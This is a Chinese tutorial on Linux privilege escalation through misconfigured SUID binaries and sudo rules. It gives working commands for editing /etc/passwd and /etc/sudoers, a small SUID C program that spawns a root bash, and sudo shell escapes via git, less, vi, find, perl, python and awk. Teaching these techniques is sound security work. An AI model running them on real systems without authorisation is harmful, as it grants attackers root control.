非漏洞提权是利用对系统的不正确配置导致的提权,区别于基于漏洞的提权方式。
一.SUID提权
当以下命令具有SUID权限时,时非常危险的。
Note:
1.SUID只能设置二进制可执行文件
2.命令执行者要有该文件的执行权限
3.命令执行者执行二进制文件时会获得程序的属主身份
4.SUID权限只在程序执行过程中有效
给一个二进制文件赋予可执行权限(需要在root用户执行):
chmod u+s "文件"
查找具有suid权限的文件:
find / -perm -u=s -type f 2>/dev/null
1.利用cp提权
可以将/etc/passwd复制出来进行编辑,然后复制回/etc/passwd,非常容易利用。
2.利用vim提权
利用vim编辑/etc/passwd添加用户,或者编辑/etc/sudoers即可提权。
3.利用find提权
find可以添加-exec参数来对查找的结果进行处理,
find "一个已经存在的文件" -exec "whoami" ;
Note:
1.必须是一个已经存在的文件,命令才能执行成功。
2.-exec命令需要以;结尾,但是;在bash中有特殊含义(代表代码块的结束),需要转义。
4.当自定义可执行文件具有SUID权限时提权
编译如下文件并添加SUID权限,在普通用户下执行该文件即可获得root的shell。
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}
Note:
上述SUID提权只是一部分并不全面,如需更多SUID提权详细信息可以参考如下链接GTFOBins 。
二、sudo命令提权
当sudoers文件中某些用户包含某些命令的sudo权限时,可能导致提权问题发生。
sudo -l
查看当前用户有哪些sudo权限
1.git
sudo git help config
执行!/bin/bash 可以直接提权成功,less、man同理。
sudo less 文件,然后执行!bash。
sudo man man,然后执行!bash。
sudo vi,然后执行!bash。此时注意需要先输入冒号才能进入交互模式。
2.find
sudo find test -exec "/bin/bash" \;
3.perl
sudo perl -e 'exec "/bin/bash";'
4.python
sudo python -c 'import pty;pty.spawn("/bin/bash")'
5.awk
sudo awk 'BEGIN {system("bash")}'
另外,当某些二进制文件具有sudo权限时,也会导致提权。
版权归原作者 Thegentlest 所有, 如有侵权,请联系我们删除。